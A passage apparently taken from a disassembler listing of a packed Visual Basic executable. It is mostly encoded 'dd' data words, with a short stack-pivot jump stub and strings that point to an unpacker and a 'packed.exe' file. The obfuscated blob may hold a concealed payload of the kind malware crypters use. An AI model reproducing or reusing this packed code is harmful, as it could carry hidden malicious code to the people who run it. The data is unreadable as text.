0C37A23B5h, 61EA1839h, 4F008A16h, 46360BB3h, 83FBD8D3h dd 9E46CF5Bh, 0DB8B5014h, 226DB841h, 88430C96h, 69B43DDDh dd 12BA951Eh, 0B53EDC88h, 0DE78DE6Ah, 0F29A68E7h, 187AB81Dh dd 40CC89ECh, 4328F98Fh, 73F2BE9h, 96000000h, 4FF0Ch, 9AEF6300h dd 0F29A1EE3h, 0D2EB0F33h, 64008A1Ch, 56E22DB6h, 2BEA95E0h dd 3026C250h, 741C9C65h, 0F10D42CCh, 0D2911D68h, 3A74E068h dd 0BE5C0993h, 0A1CE8D35h, 543AC4E9h, 0EA73BE09h, 8931877Ah dd 4ADDBCB4h, 22AEF96Ah, 0B4B7BB7Ah, 4F243C95h, 0B08C5CC8h dd 852D78C3h, 0EC7754FBh, 8A32E32Eh, 4F2A6600h, 7E4CC991h dd 2DB7438Eh, 5AC0A522h, 0E73B86D1h, 5C0075A6h, 1F6DCC55h dd 32000008h, 0A52FE01Eh, 23AD5EACh, 0A22CDD2Fh, 1AA455C1h dd 841DCE4Ch, 0AE6CFAEDh, 2BF173FDh, 0A575F07Ah, 19E56AF4h dd 2BEA9268h, 1CC8F502h, 0E1761FB1h, 412516Eh, 5CE5307Bh dd 0DE8694D2h, 840DFD54h, 22AB57FAh, 64028CD7h, 0D1792AB6h dd 4B742DFCh, 891538CFh, 28D0E819h, 0C8851069h, 0D880CB1Ch dd 5D05014Eh, 0E2382BB5h, 264F0E59h, 0D5E33085h, 2219FC00h dd 5CA747B3h, 9148F5B4h, 307BE330h, 0E669F3A4h, 438E8CD9h dd 1B74ABAh, 80B79A59h, 7BC6E564h, 6E0649D3h, 343F6B3Dh dd 6F176221h, 0E9A80E5h, 262BB55Dh, 84105BE4h, 0C81F55FAh dd 53B02CA6h, 245110B8h, 0D7E9C413h, 0F99418Ch, 0AF38C456h dd 87DB4125h, 0B55E61CCh, 4B0362EBh, 6000007h, 810BBC4Ah dd 0F78132D0h, 6EF8A95Bh, 0E67021F5h, 50E99A80h, 7AA0C6B9h dd 0F7253FC9h, 71A9BC46h, 0ED1936C0h, 0FFBE663Ch, 1CC8F456h dd 0FB4AF385h, 620AB206h, 9CEFFAA3h, 52DE291Ah, 0FE18EBAAh dd 0CC171CC8h, 90BD7C24h, 43E33700h, 0B3DC9Bh, 1762E337h dd 0E9840CCh, 931DC541h, 0A4BF49D3h, 0AF39EA76h, 0DC2E23A0h dd 0B8600891h, 28E7232Eh, 0E337007Fh, 2A8E63AEh, 64D26C81h dd 0A35ECE5Ah, 174F7CD6h, 0E6317C05h, 8A90D35Dh, 8D4CF43Fh dd 0E57998D1h, 1E4397E2h, 9DB55BF1h, 6A8B514h, 0A7A90000h dd 331EA859h, 0B69C26D7h, 4A19A354h, 0D5911BCCh, 66FD9647h dd 7829F373h, 0EFA076EEh, 691A0065h, 0E19270DFh, 0FBA4630Bh dd 2A1CC8F4h, 6EE1EF98h, 8140E890h, 1A9CEFD4h, 0A730BC07h dd 4BD4321Dh, 5B4C0A70h, 0A0AC6E86h, 45D119E1h, 0C57694BBh dd 0E965F22Fh, 7752Bh, 0CCC0000h, 2A8h, 906EE163h, 4E6A9707h dd 0FDE4E7A6h, 0C8131CC8h, 44C28D17h, 0C98913BBh, 66B169FCh dd 7C0692DDh, 0F7F30EAh, 5F1EC6F2h, 0E563100Fh, 0E4B961ACh dd 39192AE0h, 6DC7F6CBh, 7D1E4706h, 82CDE9CBh, 7903AB37h dd 0ED7728D6h, 0DF884762h, 0DCE9CB7Dh, 0CB7D701Dh, 0E258A3E9h dd 7DD27B3Ah, 0B601E9CBh, 0EE78206Bh, 8C15A175h, 0F7DB0FE4h dd 7C0E8E1Fh, 19A571F2h, 0BC45D78Fh, 29143F14h, 54A034B8h dd 0EF7B87CAh, 8E36827Fh, 8526E3CFh, 9B7018EFh, 0D2ABA34Fh dd 6C19D871h, 9FF79502h, 0F6B50954h, 5AB0F70h, 59C1D7Ch dd 9BB50000h, 1F32BC6Dh, 0AAA832E3h, 461DA758h, 0D1951FD0h dd 6A019A4Bh, 7C2DEF77h, 0F3A472F2h, 6D1EFC69h, 0ED9E6CE3h dd 87B06F17h, 361CC8F3h, 6EE1FBA4h, 0EFCB7433h, 0AFFA1A9Ch dd 0FE51DB64h, 2C77A5C1h, 2462C8A3h, 0CF807ED1h, 0EA30E839h dd 77F2Bh, 0CD60000h, 14Ah, 906EE163h, 69D633Ch, 9AF98246h dd 532h, 22D3311Fh, 9849B998h, 15C6440Eh, 9142D88Bh, 0CBD5F07h dd 7DE9DC73h, 64EE9Fh, 86DF691Ah, 0F659E394h, 0D9815708h dd 0C8F26D1Ah, 650EA01Ch, 0EE2C39C3h, 48E1A65h, 0AC36BF4Bh dd 54DE67A3h, 0FC860FFBh, 772BB456h, 0E4BF7511h, 62EDC07Eh dd 0F472FCA4h, 53E99A26h, 2BEA30CEh, 2499h, 0D30CF000h dd 64000000h, 0E38B77DAh, 9CEF7B24h, 0D35FAA1Ah, 2C39C32Ah dd 0D962A0AFh, 58B7438Eh, 0B6h, 0B206FBAFh, 0FD784B0Ah dd 0BB451CC8h, 79EA7496h, 3DC9149Dh, 4BF37CC7h, 0E67290C1h dd 852D8B76h, 791EF0C6h, 3E27B1E5h, 7C0853DCh, 5467BB06h dd 0A3B55B53h, 474BB1Ah, 73DD0000h, 0F75AE495h, 82D05A0Bh dd 1E45CF80h, 0A9BD47F8h, 9229C273h, 0A455C79Fh, 1BCC4A1Ah dd 9546D491h, 15C6440Bh, 0AFD8973Fh, 5E1CC8F2h, 6FB23CCh dd 0E22DDF73h, 8FBD923Ah, 53612F17h, 6F24E36Fh, 9E1CD27Dh dd 3121AB53h, 3F6322D3h, 0D8E32E61h, 0EE38B77h, 36C4F582h dd 0EA06E47Ah, 0FAE0A97Eh, 0D27B3AE2h, 1E32EE7h, 0EF792AB6h dd 13EF6263h, 6BF43F8Ah, 3F90Ch, 6FB6300h, 784B0AB2h, 771CC8FDh dd 71FBA32Ch, 4E9922E0h, 9AF52C2h, 1E9CA261h, 74BFE579h dd 5B532B20h, 6AC952B5h, 3CEh, 8E3FCD83h, 0CBD4D04h, 8132D082h dd 0FDAE6CF7h, 7829F373h, 115548DFh, 94D05A0Bh, 1A4BD586h dd 8AC54F00h, 4DF5CB7Ch, 0C8F1E18Eh, 0D982141Ch, 0AB206FBh dd 0C8FD444Bh, 8028731Ch, 0FCAD59F6h, 9821DD72h, 37DFD928h dd 0E92DFF62h, 43CF2D4Dh, 0E669F39Bh, 0B8448F18h, 6362B9F9h dd 9F4792E5h, 0D68D3A15h, 0BA44F540h, 70E06995h, 0D77F2791h dd 7400164Dh, 8546A5B5h, 77CB16EFh, 0AB0FFA98h, 47B7169Fh dd 0A000003h, 7D07B846h, 0FB8536D4h, 7A04B557h, 0F27C2DE9h dd 5CF5A674h, 8694D2C5h, 3194BD5h, 7D9DC852h, 0F10D42CCh dd 3C26A40h, 1CC8F05Ah, 0E14EF789h, 5F07906Eh, 0E6242DB7h dd 2A53125Dh, 0D91A9CEFh, 7B04164Fh, 0CF59E530h, 61D18280h dd 8F8DD9A0h, 0F1DD9C44h, 221CD2C2h, 0E28F4ED7h, 0D1E32D3Ch dd 32BCD36Bh, 0E59E220h, 5E35EC82h, 32323238h, 89000000h dd 0DC7306FBh, 7C3BE32Eh, 1CD2F636h, 0A832DA25h, 94CF59A9h dd 26B2FD86h, 9B5DE9Dh, 0BA20E32Dh, 4F041D9Ch, 0EC763238h dd 601BA763h, 0F4h, 906EE1B7h, 7CD55F07h, 0BC4E048Eh, 0D25CE833h dd 55FD8694h, 0EF41EEADh, 0EA741A9Ch, 0C6529D79h, 4FF7133Ch dd 0D6341DA7h, 1A43024Dh, 0C91A9CEFh, 0DF69F27Eh, 22E19270h dd 1A9CEBA3h, 0CC7D89C6h, 68F10D42h, 7AF09F8h, 2D241A48h dd 0D586D1E3h, 741C9C65h, 149D79EAh, 356221C9h, 0E8E32D24h dd 0AA69119Dh, 0E57D9D51h, 0F199418Ch, 0E1C5831Ch, 3ECA7458h dd 0B768B2B4h, 8FE3392Dh, 0B56703AEh, 1BC524ADh, 36000002h dd 0B13BEC1Ah, 27B162A0h, 9E28D92Bh, 16A051C5h, 8019CA50h dd 0AA70F6E9h, 27F56FF9h, 0A179EC76h, 1DE966F0h, 2FEE966Ch dd 1CC8CF06h, 0C37A23B5h, 0EF335C1Bh, 3AE21A9Ch, 9CEFD27Bh dd 6BB6011Ah, 811155DFh, 51D0C8A8h, 0A556A177h, 850728FDh dd 8B84E17Dh, 2CDA75FFh, 6C2BD37Bh, 1A9C83C3h, 845401C0h dd 3C871A9Ch, 46EF7BC6h, 0AB206FBh, 0D2F6C74Bh, 1738C21Ch dd 0B292361h, 97E2941Ch, 5B0B950Bh, 0E49C5037h, 4691A719h dd 8EB372FBh, 0F5E32D4Ch, 2FF2F78Fh, 38323892h, 0F1h, 0BD490690h dd 0B45DE934h, 0EB1939C3h, 18B1762h, 6008B04Eh, 9CEFF4A1h dd 50DC271Ah, 994A1FC7h, 6F365356h, 0F076008Ch, 97610ECDh dd 49941A9Ch, 2C77A5BFh, 936DE4A3h, 0C7881A9Ch, 68B367FCh dd 0E4222DB7h, 62A0B23Ch, 24DD4DD6h, 0EA17EC94h, 0EE6B3E79h dd 0E6D27B3Ah, 0B6011A9Ch, 7837DF6Bh, 1CD2D6CAh, 0CCDB7701h dd 2D36600Dh, 0FD4893E3h, 845901B2h, 8ADCBE63h, 0F355BB90h dd 827FEF7Bh, 0EBCF8E36h, 10E57D72h, 0D3931DC5h, 9A002DECh dd 68B3E9FCh, 84E26C1Dh, 0E8574296h, 0CD56B566h, 0D56Eh dd 36D47C00h, 0B456FB85h, 2BD97903h, 0A773F07Ah, 20FA6CF6h dd 4C3FD66Fh, 0C54F001Ah, 3EC8799Fh, 0B842F327h, 0E4BA6B97h dd 0CED07D3Ch, 71031CC8h, 31EEC3C8h, 0DB9F330Ah, 0C79F29B5h dd 44CD3916h, 21E36FF9h, 51024D98h, 0C97A88C7h, 906EE120h dd 34D27D07h, 40EE1383h, 0E970B0CAh, 862E7912h, 21761FDEh dd 5AA51A9Ch, 506726CEh, 871CC833h, 810BB33Ch, 62AD36E4h dd 7034CD6h, 8783CC56h, 0F87C3FFEh, 9F05ABB5h, 0C5410EE7h dd 39C58A14h, 0D93D26B0h, 1FF49C50h, 2F23B8Eh, 8D640C58h dd 7A4A572Ch, 98B61CA8h, 34DC2A25h, 0D35FBBAAh, 61F07A22h dd 41CD18A1h, 0C26A98B7h, 0A8A91A38h, 3B860F5Ah, 0D763A1B1h dd 8EF4Eh, 0BD470000h, 3EE773A9h, 6FE1D57Eh, 0D17E0891h dd 4322AC35h, 0A0C44ED7h, 0FF67F17Ah, 5C0A941Dh, 0B8AB35BEh dd 34FD962h, 63EE7801h, 816F1EA7h, 4ECh, 24048900h, 405E089h dd 83000000h, 48704E8h, 4B685C24h, 89000046h, 0EC81243Ch dd 4, 0BF240489h, 4B352C9Fh, 0F781D7F7h, 5D55D9Ah, 2BE7E781h dd 0EF817A5Eh, 1, 6D70CF81h, 0F7812223h, 346B7CF8h, 24048B54h dd 4C481h, 53520000h, 0DA89FB89h, 850895Bh, 24048B5Ah dd 81E78957h, 4C7h, 4C78300h, 5C243C87h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54F326 ; --------------------------------------------------------------------------- dd 0F79554E1h, 539BFB40h, 23FB6837h, 0B885F740h, 6542295h dd 0E0FFC503h, 2F103812h, 14475B74h, 452DE6F3h, 10108AB8h dd 42F9E584h, 12AA2A6Fh, 11966B4Dh, 2C6B2525h, 725ED35Bh dd 3273A6CCh, 0D53D9C4h, 655F1F1Ah, 575F2364h, 9EB57B2h dd 10675659h, 361BB216h, 2FFCC279h, 34964347h, 2E85D678h dd 1DEAB011h, 118D74B8h, 61946302h, 81915EAh, 235CF542h dd 72B9249Bh, 71A292B8h, 2CE2FD9Ch, 47B5CB46h, 5E8h, 0B6C5A800h dd 8BB0E45Fh, 0C181FC59h, 6162h, 563F28B8h, 0F194BA7Eh dd 0EA815B77h, 5B77D963h, 0A1AAF681h, 198B7816h, 14E8h dd 0AB2F0100h, 0AC598889h, 1CD304Fh, 6EE83BFDh, 0F5E5ED98h dd 815EF933h, 6C2A2EC3h, 0F8B70F5Dh, 8487C381h, 880F6342h dd 17h, 12E9h, 960D2900h, 79A334DBh, 799DBD0Ah, 0C5035A3Ch dd 81DCAE7Fh, 8492FCC3h, 49BF666Eh, 81198911h, 6E8B5EC8h dd 0FEE9814Ch, 66595256h, 811775BFh, 5256FAC1h, 0BABF6659h dd 850F4A24h, 0FFFFFF8Ah, 0A9A4B851h, 0E95F78D7h, 15Ch dd 77E705C5h, 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h dd 64656B63h, 6578652Eh, 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 0DBFD366h, 1AB2E9h, 27F96800h, 0CEE90654h, 68FFFA59h dd 65428DDh, 0FA59C4E9h, 2A0B68FFh, 0BAE90654h, 68FFFA59h dd 6542AF1h, 0FA59B0E9h, 2B3068FFh, 0A6E90654h, 68FFFA59h dd 6542BF3h, 0FA599CE9h, 2C4668FFh, 92E90654h, 68FFFA59h dd 6542C9Bh, 0FA5988E9h, 32C568FFh, 7EE90654h, 68FFFA59h dd 654333Dh, 0FA5974E9h, 33F568FFh, 6AE90654h, 68FFFA59h dd 65434ECh, 0FA5960E9h, 354668FFh, 56E90654h, 68FFFA59h dd 654362Bh, 0FA594CE9h, 36B768FFh, 42E90654h, 68FFFA59h dd 6543757h, 0FA5938E9h, 3D8368FFh, 2EE90654h, 68FFFA59h dd 6543E90h, 0FA5924E9h, 3F3768FFh, 1AE90654h, 0F2FFFA59h dd 0FAE86567h, 8F67369h, 13017E7Eh, 28169349h, 0CF209D5Fh dd 5B91DE54h, 6A62F0DEh, 7C70FFEDh, 894311FFh, 966C330Ch dd 0B7D310E1h, 7DCF5A35h, 0CC08DF7h, 0FAF27C6Ah, 0C64CD258h dd 0AE2E3624h, 2D87B931h, 0F0EC7866h, 7037C84Eh, 74C59E9Ah dd 71470EB4h, 0B7D90A06h, 8CF18208h, 7513F06h, 0C9D23C5h dd 9DF946Ah, 0BCA5B7D9h, 0A774E6Bh, 98865130h, 0E56B0DCFh dd 506C54h, 0A4E10000h, 0A233A9B6h, 0D79E762Ah, 0D1629AE9h dd 0D0A0340Ah, 402EB474h, 9319BB31h, 0DE956B0Dh, 0A7B7D91Dh dd 938123D9h, 996D0FCDh, 34235FB0h, 0B67DFA4Bh, 1D5E19EFh dd 2AB0B7D9h, 0D91D2354h, 7805F3B7h, 66DFE84h, 51300ABFh dd 0F81Dh, 0B6A49200h, 0B4A233A9h, 0A26930ACh, 2736ABCCh dd 54E56BBEh, 0D9BBC4B2h, 28CA508Ch, 0F1EB7361h, 0C5B2884Fh dd 49BE2736h, 0BEAC3DC3h, 0B06F36B6h, 0BF7AB322h, 4686CE8Ch dd 7981EA4h, 0F3E97765h, 0B1C1AF76h, 5BD4AA3Bh, 0C9BE2663h dd 0CA5B91DBh, 9B1F94DCh, 117FCD10h, 16D6A08Eh, 0EB68EE74h dd 0AE2E3624h, 6A212F1Dh, 26C3E394h, 27AD33BEh, 816B0D85h dd 55D8E4BAh, 40C6B474h, 0BF294BC3h, 3E139F8h, 0D2B65FBBh dd 90A47A41h, 7EAE27D3h, 3D4331F8h, 6971DBFh, 0C804513Fh dd 9B105D4Bh, 90FB2C5h, 0EC7664BEh, 18E46AF0h, 42B655A4h dd 0E61E7315h, 76000017h, 8674F1EBh, 9482FFFDh, 0A79512CAh dd 0B4A21FDDh, 63B431ABh, 0E7E572C0h, 0F6F67C6Ah, 8C48B79h dd 15D79D8Bh, 22F8BF98h, 0B7D30F55h, 0A453DEB9h, 0C0DE3AE5h dd 64F5BFECh, 76F3E976h, 8704F888h, 6741F3FCh, 0D10ACAA0h dd 3EC4B474h, 0FFFD8977h, 7DF6CC6Eh, 7B7D91Dh, 6250CD1Eh dd 0DF46D715h, 51300AE6h, 0C4F8h, 3E433100h, 7DA22DBEh dd 6553F5F7h, 6C42E418h, 0BE272AC3h, 7B42BACAh, 6608C48Dh dd 6A62F2E0h, 34B142C8h, 1CBE3E46h, 5118F0A4h, 1CD09C8Ah dd 572DF47Ah, 0BE273220h, 1D768EEh, 0B474C4BBh, 0BA32AF35h dd 91672E86h, 0AE2857B2h, 4983CCBAh, 33A9B9A7h, 6710E6ADh dd 0A7BE08A3h, 0A52B9021h, 5C2917DEh, 0E778FEA0h, 0F3706CF9h dd 0B8847805h, 42B6C14Eh, 2B409ABh, 5A000017h, 6250CD0Fh dd 705EDB11h, 7B69E6E6h, 907EFBF1h, 378805C7h, 0C33946ECh dd 0D20A5846h, 0E4186755h, 0F1EB7967h, 0FED49B74h, 0B7D30E79h dd 7D37C29Dh, 917FFCF0h, 7B4209C3h, 2736D2A5h, 0FFBE44BEh dd 0D4A77755h, 51CE5FCFh, 7DDA4C6h, 0BE273670h, 298E4E15h dd 5C2412A3h, 7C33A05Fh, 1AE21B45h, 26B33344h, 0CCAB81BEh dd 4ABE26B3h, 1AD95FC4h, 607E9C7Eh, 0A547CD10h, 1CF2A9B7h dd 0BE26BC5Bh, 0D87635BBh, 0BD411C94h, 0F971EE74h, 0D0A66D47h dd 0B4740484h, 0CE2840Ah, 0B7D87267h, 0C6E3341Dh, 512F73FFh dd 0E5DDh, 5A281600h, 0FE8611A2h, 41ABCDD7h, 2AD0A47Ah dd 0B83EB475h, 4B72774Dh, 0AFD1DF32h, 0FEBF7E45h, 0B79BB82Ah dd 7EF9CF96h, 90EB52B5h, 0DCB2790Ah, 0E1A048D0h, 0CF9638BEh dd 9B5A92E1h, 4DBFE3A5h, 0CF47D8A7h, 0F6CA0AADh, 6CC841F2h dd 715FE5E7h, 9C63E9E3h, 5E9EE7D5h, 43E5E770h, 3E562CBDh dd 0D0DFDF27h, 0CF95834Ah, 0D2A2900Dh, 9DC91EE1h, 0F17719D3h dd 0A7321E32h, 48F55521h, 9C3E1563h, 15D447h, 0FFFD8800h dd 0DCF9482h, 18D4A290h, 29A3AD9Bh, 3BB1BEACh, 7CB66DBEh dd 8E7CF9F3h, 9D8B08C4h, 0AB9916D6h, 0D1AA27A5h, 0C43340Ah dd 0F8D3B7D3h, 0BCF77D6Dh, 4AEFB1B5h, 0AD4FD5B9h, 0E2A90335h dd 74C0480Ch, 0C79D64B4h, 0B7D92EB0h, 0E247D85Eh, 5118DF5Ch dd 0D92EFC7Bh, 9C391B7h, 0F67CE167h, 0D7FEDA65h, 7A41ABCDh dd 752AD0A4h, 4DB83EB4h, 0C02C0677h, 0E3DF9E30h, 50571582h dd 7EB8BF95h, 0D0563CC0h, 1F41B94Ah, 9418EEB5h, 6A330E11h dd 80561DE4h, 36FE9AF7h, 5E009117h, 0C021B2E6h, 78C5BA18h dd 4403CA50h, 213EC276h, 5D2614DDh, 71470E9Fh, 2D517C23h dd 0BE046E2Dh, 6524AC58h, 8A5118DFh, 0ADC8C3B4h, 6CD533Ch dd 0ADC84730h, 0B041C73Ch, 0BD3AB2C2h, 7F4B81CFh, 0C4119C29h dd 0EE67BC5Eh, 6E000014h, 7E6CE9E3h, 8C7AF7F5h, 9F8D0AC2h dd 0AC9A17D5h, 5BAC29A3h, 0DF1D6AC8h, 0EEEE7462h, 0FC8371h dd 0DCF9583h, 1AF0B790h, 0B7D30C5Dh, 7D4BD6B1h, 0DD29F5F7h dd 0FE42982Eh, 14AF075Ch, 0A2AD0000h, 0B2BFAD2Ah, 87CFBD3Ah dd 8EDAC845h, 9AE3D14Eh, 8F94E562h, 0A522DAA3h, 0B431ABB7h dd 0C03DBFC6h, 0CD4A82D2h, 20572DF4h, 0EEB7D30Bh, 0B6A48813h dd 323F2DAFh, 19218BAh, 38564D13h, 0B7DBBC9Ch, 0AE26C84Eh dd 855B228Ah, 0B474B7BFh, 0E3946A31h, 33B7D8F7h, 726027ADh dd 8645E7E5h, 41B32E1h, 80119757h, 749C9603h, 4B21E8C0h dd 0AE272929h, 396AF9E7h, 0F0C0ABFAh, 0F57B01AFh, 6EB5B48Ah dd 0D1BFDD8Eh, 41B94A82h, 18EEB51Fh, 17CC2194h, 0CA42E46Ah dd 0B0773E96h, 9436B6C2h, 671470Eh, 82340ABh, 791BF182h dd 97199325h, 145C4A11h, 0E76D5BD8h, 1FD719E5h, 42E4DF50h dd 13ECEDh, 0E7E57000h, 0F5F77C6Ah, 0FC8A78h, 11CB9583h dd 23D9A694h, 64CE55A6h, 7664E11Bh, 8573F0ECh, 9381FEFEh dd 0B9920FCDh, 0B5B1CF2h, 0E0BBB7D3h, 36E29555h, 0B0C3BE27h dd 0EDBE2726h, 0BE271686h, 27365C17h, 0A15B29BEh, 982E9DD5h dd 9FF49642h, 1399h, 0C744B8C3h, 0D75488D9h, 0E25F9DE9h dd 0F77468F4h, 3807C09h, 0B4C171B2h, 85CDBB38h, 95DCCA47h dd 64ECDA57h, 4B12EB68h, 0D30B0275h, 0AE3914B7h, 0A06741F3h dd 752D0ECAh, 0C501C0B4h, 1C20F726h, 2410917Ah, 14672165h dd 5C94C28Eh, 0D77948E6h, 134482h, 8F4D1800h, 9D5F2412h dd 0A8243220h, 0B9333D2Bh, 0CB014E3Ch, 0C26FD4Eh, 1E0C8943h dd 2D1B9854h, 3B29A626h, 613AB735h, 0AB3C49Ah, 8863B7D3h dd 0F5F77DFDh, 0DD1F6553h, 55A68F3Bh, 4EFE19D8h, 0AACA37FCh dd 726A0DE3h, 26ACBE26h, 73972E95h, 1C45577Dh, 0BA000000h dd 2736DE95h, 92E0CEBEh, 95DBC95Ah, 9504DA57h, 0A0BE43B9h dd 12D3A9FEh, 0A41E0000h, 8D2FADB6h, 8F3E4807h, 50FEDD7Eh dd 4983D1BFh, 0A30D2FA7h, 36A206DCh, 4432B474h, 0C82DBE3Eh dd 944C2B01h, 44CAB7D8h, 97C941BEh, 0CB518BD5h, 844E2E04h dd 0BA40AE26h, 0A05C2A18h, 6666EBD9h, 907F3EC4h, 0F9BCEA1Eh dd 956BE879h, 0BE26B3DFh, 0A9B9DBA8h, 0A64884CBh, 0AF89A20h dd 5AE0827Ah, 6399E6D4h, 0D29960DDh, 26B37BFCh, 84159BBEh dd 480FCD96h, 2DCF0D5Ah, 867416A7h, 0E5DFFFDh, 6957D425h dd 8C1EDD1Fh, 7B8DE036h, 48190798h, 89501794h, 265DC4B3h dd 3BCC52BEh, 7D4AF1D4h dd 19FEB57h, 5D240000h, 2661F087h, 7981EBEh, 6741F37Ch dd 0D156CAA0h, 42C8B474h, 2BA1B2A0h, 0B0C79D64h, 5EB7D91Dh dd 0DCCA47D8h, 0DDB35597h, 0B7D90D96h, 0DAA39158h, 57A89122h dd 6A62ECDAh, 6666EBD9h, 9AEAD89Fh, 2DEB8C62h, 0A52BB7D9h dd 7D1F9714h, 8AF6CC93h, 1AAE271Bh, 3327B95Bh, 0C4DCE612h dd 0F9965577h, 46AB3C3Ch, 27301EC0h, 2D3A28A5h, 42370DAFh dd 4BBE271Fh, 3725C705h, 8D0BAD2Fh, 921753A4h, 0ABB458A9h dd 0BDC6B431h, 0A2AF9D3Fh, 5039882Ah, 0D6165BFFh, 0CD3F259h dd 3B09577Eh, 7E000000h, 8CC0E5A4h, 5045C53Ah, 4884D1BFh dd 2DAFB8A6h, 87753C8Bh, 856EFFFDh, 5C79034h, 5D07503Eh dd 6755DB11h, 0D451E21Ah, 7DD5586Dh, 0CB8657h, 0D1BF0000h dd 1FA54785h, 41F3038Eh, 12D9A067h, 27363B3Ch, 9655DBBEh dd 723E7136h, 1CF283BDh, 0B4744128h, 705E0086h, 0FBF181E3h dd 0D04DD359h, 6BF391E2h, 5B49EB71h, 0E534D616h, 7A07ABFCh dd 279E0582h, 0B5512F9Fh, 6Dh, 6C4CF32Ah, 2917DEA5h, 7B01A359h dd 2736D2A5h, 3AB2BBBEh, 4E5F16D5h, 126D8375h, 4225FB8Ch dd 0F4BE269Eh, 2E8A76Eh, 65A4FA37h, 28FEA031h, 0BE26864Bh dd 8724E3AAh, 19771DEh, 53A48D1Eh, 0D79E7E25h, 272A6601h dd 0E87866BEh, 0B58B52F4h, 0BE272AC2h, 0B748CE54h, 4605CC52h dd 3E4AD243h, 2DDFFBEh, 0E53AB748h, 15h, 56165Ah, 614F0000h dd 0B238DA12h, 41E8F7F3h, 43D40B61h, 0FBF17DB8h, 0E6E66B59h dd 0F6F67B69h, 52BADC54h, 369CDAB0h, 410DBE27h, 71FBE98Bh dd 6B54D97Bh, 6EFDE1Ah, 252D98B5h, 0E2D0577Eh, 2FB55795h dd 0B76B69Eh, 28EF0000h, 27432552h, 15288FBEh, 0F5ABF042h dd 0EE790A90h, 0C76943F3h, 93FA11F1h, 0C4B27930h, 0C5AE3FBDh dd 36E5774h, 6870CDD3h, 0E5000000h, 612843F3h, 2736EC8Bh dd 0CEA42ABEh, 0BE2736A9h, 9A61E76Dh, 2736B3C4h, 16DD63BEh dd 1A35928h, 8148EA7Bh, 3693E4BAh, 0E229BE27h, 796E18AEh dd 0F5BC42A7h, 2663581Fh, 9F30B6BEh, 5A9244C9h, 3A8B74D1h dd 4C80CFBDh, 2C9324AAh, 0AE0B0599h, 30B3A564h, 0A79C4CC9h dd 466D0AE0h, 1BA114B3h, 206A28Ah, 0F3170000h, 0A4DE6943h dd 9D2EAEB6h, 0B240FFC6h, 0F6390AF7h, 7DA02BBCh, 6AF5F7h dd 31110475h, 420B5A7Eh, 80000000h, 2DAFB6A4h, 0F1ACCC8Bh dd 8C22A944h, 0E693F06h, 0BE26CCh, 0CD71E97Ah, 0DDA45CE7h dd 0C76963EFh, 9ADAB041h, 74BE2736h, 19A463EEh, 70FBF17Dh dd 0E5A429B4h, 3F19AAE3h, 90E576E8h, 30h, 3043F305h, 5A227FCAh dd 0BA45CB94h, 39A9E5A4h, 7599B253h, 2D471DE4h, 0FFBE2673h dd 0BEC4B279h, 0B0528AD6h, 8813A42Ah, 0F17D19A4h, 29B470FBh dd 7007DDA4h, 9EBE2736h, 0A7B18718h, 0A082C3DBh, 0AA9815D7h dd 5D4B22DAh, 0F1EB7410h, 7C43C94Fh, 6A0CC08Eh, 30471DE4h dd 0DEC24C23h, 2CF0C758h, 64EF243h, 0E76D5BC6h, 32A10EE5h dd 10B405EEh, 9D5F2440h, 0E3BB09DEh, 189ED58Bh, 0C3B48A51h dd 53C24BF7h, 0E3D13CCDh, 2F481E9Dh, 0DFC24BF7h, 0E5E76B59h dd 0CD9A885Fh, 4BF7B5BFh, 470BF9C2h, 0CC5DE385h, 531AE167h dd 0F7C1B68Ch, 0CF55C24Bh, 4BF77EF9h, 0DB336C2h, 0CAFA6B09h dd 774EDF65h, 0D579CAB3h, 497E148Fh, 232712D6h, 9EE8D69Dh dd 0EBE1705Eh, 7401EF5Ah, 8369D678h, 0F397E8D1h, 7F5726Ah dd 0E5AC8379h, 0CC6E6EF7h, 0BEC7B546h, 4BA986EEh, 2B0288C2h dd 7E22735Ch, 9D8BF6F6h, 773E15D7h, 7203F989h, 0A18A9305h dd 28A4AC50h, 4B81CFBDh, 14C89684h, 0B1BEAC83h, 0B7A0643Bh dd 3AB2C266h, 0F77D44CFh, 9946AF5h, 0E16C4CF3h, 0F7ACB6A4h dd 9C52B608h, 52E369ACh, 11045CE7h, 0B5A7E31h, 37h, 7DDA480h dd 0BE273670h, 9BBA6144h, 1378BD25h, 0DD84FC8Dh, 0CEA472FDh dd 0BE2736A6h, 0A457E268h, 0F8F47D19h, 0FFEDB46Dh, 0C58C7A72h dd 4EDF6507h, 1616C3h, 0F38B0000h, 0A4E16C4Ch, 2736A6CEh dd 73FE84BEh, 0F47D19A4h, 29B46DF8h, 27246095h, 79E439BEh dd 59FFFFFDh, 2736DE95h, 5A791DBEh, 701DDADFh, 0C03DC37Fh dd 0A64884D2h, 2655A7D0h, 14654EBEh, 69E6E670h, 80BDF67Bh dd 7C773AD9h, 37BF87Eh, 4DA7C5Ch, 787BBB2Ch, 0D79B8950h dd 0ED82F3DCh, 0B93F12ACh, 0D1EE3F28h, 1527BDF4h, 1E9EAh dd 0E5A45F00h, 986E7C7Ch, 0BE2650DFh, 85EAA92Fh, 0B0C2B01Fh dd 9FD5AB3Ch, 5EBE26F1h, 350BD23Ah, 0B47483AFh, 0F3845A21h dd 23B7D8D2h, 0AC9A179Dh, 9A882AA2h, 837113C9h, 0E45CFEFEh dd 0CA9158B0h, 0C45597DCh, 26C15AEEh, 6A36BCAEh, 42989846h dd 1A207517h, 4200000Dh, 4A38B537h, 5846C339h, 6351CE0Eh dd 7866E319h, 1F70EDEFh, 0AB212E04h, 0BA32402Eh, 0CC004F3Dh dd 0D913614Fh, 0E6BC835Ch, 0B7D30491h, 7D1FAA85h, 0DB53F5F7h dd 0B2884FB9h, 0B47ACD76h, 9D8B52D8h, 0BE8516D6h, 0C94686D0h dd 925993DBh, 8022DAA4h, 0D9C769FAh, 37AF518Bh, 1DE4AB05h dd 1CBCC85Eh, 0D566A133h, 201035FFh, 8955DBAEh, 42B3066Fh dd 0A2358A2Ch, 0BA00000Ch, 0C2B02DAFh, 0D0BE3BB1h, 0DBC94686h dd 0F0DE5B91h, 97E86567h, 23D9A68Ch, 32AAB8A6h, 44B8C7B5h dd 518BD9C7h, 5E34FBD4h, 0B7D30319h, 0A49722FDh, 0A334A8B6h dd 8B2DAFB5h, 